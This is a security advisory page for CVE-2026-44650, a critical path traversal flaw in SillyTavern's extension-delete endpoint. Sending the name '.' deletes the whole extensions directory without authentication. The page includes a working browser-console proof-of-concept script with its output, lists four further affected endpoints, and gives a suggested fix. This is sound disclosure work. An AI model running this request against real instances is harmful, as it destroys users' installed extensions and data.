GHSA-886Q-F44J-H6WH

Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-05-12 22:23
VLAI
Summary
SillyTavern has a Path Traversal issue
Details

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

// [1] "." is truthy — passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []

Impact

  • No authentication required (basicAuthMode: false by default).
    Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.
  • All installed third-party extensions are unrecoverably lost.
  • With global: true and admin privileges, the global extensions directory shared across all users can also be deleted.
  • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website.

Same Pattern in Other Endpoints

The same vulnerability exists in: - POST /api/extensions/update - POST /api/extensions/version - POST /api/extensions/branches - POST /api/extensions/switch

Suggested Fix

const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
  • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
  • Related CVE (same project): CVE-2025-59159

REPORTED BY

Jormungandr

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:23:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy \u2014 passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send(\u0027Bad Request\u0027);\n}\n\n// [2] sanitize(\".\")  \u2192  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  \u2190 basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch(\u0027/csrf-token\u0027)).json();\n    const headers = {\n        \u0027Content-Type\u0027: \u0027application/json\u0027,\n        \u0027X-CSRF-Token\u0027: token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n    console.log(\u0027Before:\u0027, before.filter(e =\u003e e.type === \u0027local\u0027));\n    // [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\n\n    // Attack\n    const res = await fetch(\u0027/api/extensions/delete\u0027, {\n        method: \u0027POST\u0027,\n        headers,\n        body: JSON.stringify({ extensionName: \u0027.\u0027 }),\n    });\n    console.log(\u0027Status:\u0027, res.status);      // 200\n    console.log(\u0027Body:\u0027, await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n    console.log(\u0027After:\u0027, after.filter(e =\u003e e.type === \u0027local\u0027));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send(\u0027Bad Request: Invalid extension name.\u0027);\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send(\u0027Bad Request: Invalid extension path.\u0027);\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr",
  "id": "GHSA-886q-f44j-h6wh",
  "modified": "2026-05-12T22:23:45Z",
  "published": "2026-05-12T22:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has a Path Traversal issue"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…